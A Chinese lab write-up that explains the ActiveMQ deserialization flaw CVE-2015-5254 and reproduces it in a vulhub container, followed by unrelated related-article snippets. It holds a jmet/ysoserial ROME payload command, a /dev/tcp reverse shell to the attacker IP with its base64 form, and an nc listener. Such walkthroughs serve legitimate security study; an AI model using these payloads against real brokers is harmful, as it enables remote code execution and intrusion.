当前位置: 首页 > news >正文

ActiveMQ反序列化漏洞原理+复现

ActiveMQ反序列化漏洞

ActiveMQ

ActiveMQ是开源消息总线,消息中间件

工作原理

通过使用消息队列,实现服务的异步处理,主要目的是减少请求响应时间和解耦合。

消息队列,服务器A将客户发起的请求放入服务器B的消息队列中,服务器B从消息队列中取出并处理。

从以上内容中可以看出,消息中间件的主要功能就是为了解耦合、消峰和异步,即解决高并发问题和系统间的RPC交互繁杂问题。

漏洞原理

此漏洞源于程序没有限制可在代理中序列化的类。远程攻击这可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

解释说明

ActiveMQ通过消息队列来实现信息传递,每个消息要保证发出端和接收端格式相同,其中使用了序列化的方法进行传递,在这个过程中没有限制可在代理中序列化的类,这时候我们就可以自己构造一份序列化的恶意代码payload,将其作为事件发到ActiveMQ服务上,在管理员在后台管理时触发了payload,或者攻击者使用弱口令拿到ActiveMQ的账户,并执行了payload,则可以成功利用该漏洞

使用限制

  1. ActiveMQ的版本<=5.13.0
  2. payload需要主动触发

漏洞复现

实验配置

靶机地址:192.168.27.128:

攻击机:192.168.27.129

创建容器

ps:如果没有安装好docker请看上篇文章

cd vulhub

cd /activemq/CVE-2015-5254

docker-compose up -d

环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

测试靶机

用攻击机访问靶机ip:8161,查看是否开启成功

在这里插入图片描述

看到如下页面,则说明安装成功

漏洞利用
  1. ysoserial是java反序列化利用的工具之一,其中集合了各种java反序列化的payload
  2. jmet集成了ysoserial,所以我们只需要安装jmet即可
  3. 将序列化对象作为一个消息,发送给目标61616工作端口
  4. 访问web管理页面,读取消息,触发漏洞
安装jmet

cd /opt

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

mkdir external

在这里插入图片描述

直接输入到终端即可

构造测试payload

java -jar jmet-0.1.0-all.jar -Q chenevent -I ActiveMQ -s -Y “touch /tmp/chen.txt” -Yp ROME 192.168.27.128 61616

使用ROME payload 把touch /tmp/chen.txt 命令序列化后作为名为chenevent的消息发给ActiveMQ

-Q 指定消息名

-I 选择要装载的JMS客户端

-s 选择ysoserial paylad

-Y 指定命令

-Yp 指定payload

最后是ip与端口

在这里插入图片描述

打开web页面

账号密码都是admin

如图操作

在这里插入图片描述
在这里插入图片描述

用靶机连接到docker容器,查看tmp目录下是否存在chen.txt

docker exec -it 容器id /bin/bash

docker ps 看容器id

在这里插入图片描述

看到chen.txt说明测试成功啦

终极目标!拿到shell

来个制作反弹shell的网站

https://www.revshells.com/

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yLBGey4w-1678327567182)(C:\Users\34232\AppData\Roaming\Typora\typora-user-images\image-20230309093515332.png)]

sh -i >& /dev/tcp/192.168.27.129/8023 0>&1

反弹shell一般都需要加密,咱就base64一下

base64加密网站:http://www.jsons.cn/base64/

c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNy4xMjkvODAyMyAwPiYx

构建payload

和上面测试payload一样,将命令替换即可

java -jar jmet-0.1.0-all.jar -Q chenevent -I ActiveMQ -s -Y “bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNy4xMjkvODAyMyAwPiYx}|{base64,-d}|{bash,-i}” -Yp ROME 192.168.27.128 61616

攻击机先开启端口监听,监听8023端口

nc -lvnp 8023

然后开新终端输入payload,靶机模拟管理员点击事件

在这里插入图片描述

成功拿到shell!

相关文章:

ActiveMQ反序列化漏洞原理+复现

ActiveMQ反序列化漏洞 ActiveMQ ActiveMQ是开源消息总线&#xff0c;消息中间件 工作原理 通过使用消息队列&#xff0c;实现服务的异步处理&#xff0c;主要目的是减少请求响应时间和解耦合。 消息队列&#xff0c;服务器A将客户发起的请求放入服务器B的消息队列中&#…...

layui框架实战案例(19):layui-table模块表格综合应用(筛选查询、导入导出、群发短信、一键审核、照片展示、隐私加密)

系列文章目录 layui动态表格翻页和搜索的代码分析layui框架实战案例(3)&#xff1a;layui上传错误请求上传接口出现异常解决方案layui框架实战案例(9)&#xff1a;layPage 静态数据分页组件layui框架实战案例(10)&#xff1a;短信验证码60秒倒计时layui框架实战案例(11)&#…...

分析vmlinux,uImage,zImage,Image的生成以及之间的关系

1.在内核源码顶层目录下打开Makefile&#xff0c;搜索vmlinux&#xff0c;找到以下内容&#xff1a;可知主要靠$(vmlinux-deps)生成。继续搜索查看变量vmlinux-deps的值&#xff0c;找到&#xff1a;KBUILD_LDS为链接文件&#xff0c;剩下两个变量如下&#xff1a;搜索head-y未…...

设计模式-六大设计原则详解(java 版)

设计模式-六大设计原则单一职责原则里氏替换原则开闭原则接口隔离原则依赖倒置原则迪米特法则初次接触设计模式是在就读大学期间&#xff0c;或许那时候进入实验室有较好的导师及厉害点的同学&#xff0c;接的校外的商业代码都较为规范整洁&#xff0c;拗口的设计模式在学习中便…...

Linux下Nginx安装使用

一、下载解压nginx # 进入要放安装包的目录 cd /opt/software # 下载安装包 wget https://nginx.org/download/nginx-1.20.2.tar.gz # 解压缩 tar -zxvf nginx-1.20.2.tar.gz -C /opt/modules # 进入解压后的目录 cd /opt/modules/nginx-1.20.2/二、安装nginx 1、安装编译器 …...

推动汽车业务向前发展的混合云战略:汽车数据解决方案

推动汽车业务向前发展的混合云战略 无论您的数据是位于内部还是公有云中&#xff0c;与 NetApp 合作都可以帮助您的汽车业务充分发挥它们的潜能 前有混合动力汽车&#xff0c;后有混合云 通过精心考虑的混合多云战略&#xff0c;汽车制造商可以根据不同需求和环境移动应用程序…...

Boosting三巨头:XGBoost、LightGBM和CatBoost(发展、原理、区别和联系,附代码和案例)

❤️觉得内容不错的话&#xff0c;欢迎点赞收藏加关注&#x1f60a;&#x1f60a;&#x1f60a;&#xff0c;后续会继续输入更多优质内容❤️&#x1f449;有问题欢迎大家加关注私戳或者评论&#xff08;包括但不限于NLP算法相关&#xff0c;linux学习相关&#xff0c;读研读博…...

设计模式~模板方法模式(Template method)-10

目录 (1)优点&#xff1a; (2)缺点&#xff1a; (3)使用场景&#xff1a; (4)注意事项&#xff1a; (5)应用实例&#xff1a; (6)Servlet Api & Spring 中的应用 代码 (钩子函数)在模板模式&#xff08;Template Pattern&#xff09;中&#xff0c;一个抽象类公开定…...

【WebSocket】在SSM项目中配置websocket

在SSM项目中配置websocket 最近在ssm项目中配置了websocket&#xff0c;踩了很多坑&#xff0c;来分享一下 本文暂不提供发送消息等内容的代码逻辑&#xff08;后续也许会补充&#xff09;&#xff0c;如果你直接复制这类可能会对配置造成更大的麻烦&#xff08;博主就是复制…...

node-red中创建自定义节点 JavaScript 文件API编写详解

前言 在node-red中如果你没有找到自己需要的节点时,那么你可以自定义一个节点来满足自己的需求。之前的文章中,我有简单介绍过如何创建一个节点,并以转换大小写来举例。例子虽然简单,但可以让大家了解创建自定义节点的步骤以及一个节点的组成部分。那么本篇将会聚焦在自定…...

华为OD机试 - 寻找路径 or 数组二叉树(C 语言解题)【独家】

最近更新的博客 华为od 2023 | 什么是华为od,od 薪资待遇,od机试题清单华为OD机试真题大全,用 Python 解华为机试题 | 机试宝典【华为OD机试】全流程解析+经验分享,题型分享,防作弊指南)华为od机试,独家整理 已参加机试人员的实战技巧文章目录 使用说明本期题目:寻找路径…...

YOLOv7、YOLOv5改进之打印热力图可视化:适用于自定义模型,丰富实验数据

💡该教程为改进YOLO高阶指南,属于《芒果书》📚系列,包含大量的原创改进方式🚀 💡更多改进内容📚可以点击查看:YOLOv5改进、YOLOv7改进、YOLOv8改进、YOLOX改进原创目录 | 唐宇迪老师联袂推荐🏆 💡🚀🚀🚀内含改进源代码 按步骤操作运行改进后的代码即可�…...

【Java代码与架构之完美优化】篇1:代码质量优化通用准则

工欲善其事&#xff0c;必先利其器 1. 避免使用空块 常见空块一般有以下几种情况&#xff1a; 多余的分号&#xff1a;if(xxx);多余的大括号&#xff1a;if(xxx){这里没有内容}空finall语句&#xff1a;try{...}catch(...){...}finally{这里没有内容} 空块的存在&#xff0…...

Linux进程间通信详解(最全)

进程间的五种通信方式介绍 进程间通信&#xff08;IPC&#xff0c;InterProcess Communication&#xff09;是指在不同进程之间传播或交换信息。IPC的方式通常有管道&#xff08;包括无名管道和命名管道&#xff09;、消息队列、信号量、共享内存、Socket&#xff08;套接字&a…...

ROS 摄像头的使用

参考&#xff1a; ​ youtubeArticulated Robotics ​ 作者Josh Newans博客 建议&#xff1a; 这个只是我的看法&#xff0c;强烈建议看原视频或博客 png&#xff1a;无损压缩 jpeg&#xff1a;有损压缩 Driver Node 负责连接硬件设备&#xff0c;读取摄像头数据"ima…...

VR全景云展厅,实现7*24小时的线上宣传能力!

数字化时代&#xff0c;虚拟现实技术的应用越来越广泛&#xff0c;其中VR全景云展厅是一种新兴的展示方式&#xff0c;具有独特的展示优势。随着VR技术的不断发展&#xff0c;越来越多的企业、机构和个人开始使用VR全景云展厅来展示他们的产品和服务。一、展厅营销痛点1、实地到…...

RK3568平台开发系列讲解(显示篇) DRM显示系统组成分析

🚀返回专栏总目录 文章目录 一、DRM Framebuffer二、CRTC三、Planes四、Encoder五、Connector沉淀、分享、成长,让自己和他人都能有所收获!😄 📢让我们分析一下绿框中的五个部件,以及他们的联动。 一、DRM Framebuffer 与 framebuffer一样,是一片存放图像的内存区域,…...

WPF DataGrid控件的使用 使用列模板来进行数据格式的美化

<Grid><Grid.RowDefinitions><RowDefinition Height"0.1*" /><RowDefinition /></Grid.RowDefinitions><Button Content"刷新"FontSize"25"Command"{Binding ExecuteRefreshCommand}" /><Dat…...

elasticsearch自定义企业词典

我们中文分词用的是ik&#xff0c;但是ik只是对基本的中文词进行了分词&#xff0c;而对于企业或者人名没有进行分词。比如&#xff0c;我搜索中国平安&#xff0c;那么ik只能分成中国、平安如果这样&#xff0c;这肯定是不行滴&#xff01;接下来&#xff0c;俺就教你&#xf…...

【AcWing】学了一坤时才明白的一道题

&#x1f386;音乐分享 &#xff08;点击链接可以听哦&#xff09; The Right Path - Thomas Greenberg 这道题小吉花了一坤时才弄明白&#xff0c;虽然花的时间有点长 但是至少是明白了 &#x1f60e;&#x1f60e;&#x1f60e;&#x1f60e;&#x1f60e;&#x1f60e; …...

Linux 文件类型,目录与路径,文件与目录管理

文件类型 后面的字符表示文件类型标志 普通文件&#xff1a;-&#xff08;纯文本文件&#xff0c;二进制文件&#xff0c;数据格式文件&#xff09; 如文本文件、图片、程序文件等。 目录文件&#xff1a;d&#xff08;directory&#xff09; 用来存放其他文件或子目录。 设备…...

视频字幕质量评估的大规模细粒度基准

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用&#xff0c;因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型&#xff08;VLMs&#xff09;在字幕生成方面…...

C# 类和继承(抽象类)

抽象类 抽象类是指设计为被继承的类。抽象类只能被用作其他类的基类。 不能创建抽象类的实例。抽象类使用abstract修饰符声明。 抽象类可以包含抽象成员或普通的非抽象成员。抽象类的成员可以是抽象成员和普通带 实现的成员的任意组合。抽象类自己可以派生自另一个抽象类。例…...

【C语言练习】080. 使用C语言实现简单的数据库操作

080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...

让AI看见世界:MCP协议与服务器的工作原理

让AI看见世界&#xff1a;MCP协议与服务器的工作原理 MCP&#xff08;Model Context Protocol&#xff09;是一种创新的通信协议&#xff0c;旨在让大型语言模型能够安全、高效地与外部资源进行交互。在AI技术快速发展的今天&#xff0c;MCP正成为连接AI与现实世界的重要桥梁。…...

laravel8+vue3.0+element-plus搭建方法

创建 laravel8 项目 composer create-project --prefer-dist laravel/laravel laravel8 8.* 安装 laravel/ui composer require laravel/ui 修改 package.json 文件 "devDependencies": {"vue/compiler-sfc": "^3.0.7","axios": …...

【分享】推荐一些办公小工具

1、PDF 在线转换 https://smallpdf.com/cn/pdf-tools 推荐理由&#xff1a;大部分的转换软件需要收费&#xff0c;要么功能不齐全&#xff0c;而开会员又用不了几次浪费钱&#xff0c;借用别人的又不安全。 这个网站它不需要登录或下载安装。而且提供的免费功能就能满足日常…...

手机平板能效生态设计指令EU 2023/1670标准解读

手机平板能效生态设计指令EU 2023/1670标准解读 以下是针对欧盟《手机和平板电脑生态设计法规》(EU) 2023/1670 的核心解读&#xff0c;综合法规核心要求、最新修正及企业合规要点&#xff1a; 一、法规背景与目标 生效与强制时间 发布于2023年8月31日&#xff08;OJ公报&…...

Ubuntu系统复制(U盘-电脑硬盘)

所需环境 电脑自带硬盘&#xff1a;1块 (1T) U盘1&#xff1a;Ubuntu系统引导盘&#xff08;用于“U盘2”复制到“电脑自带硬盘”&#xff09; U盘2&#xff1a;Ubuntu系统盘&#xff08;1T&#xff0c;用于被复制&#xff09; &#xff01;&#xff01;&#xff01;建议“电脑…...

es6+和css3新增的特性有哪些

一&#xff1a;ECMAScript 新特性&#xff08;ES6&#xff09; ES6 (2015) - 革命性更新 1&#xff0c;记住的方法&#xff0c;从一个方法里面用到了哪些技术 1&#xff0c;let /const块级作用域声明2&#xff0c;**默认参数**&#xff1a;函数参数可以设置默认值。3&#x…...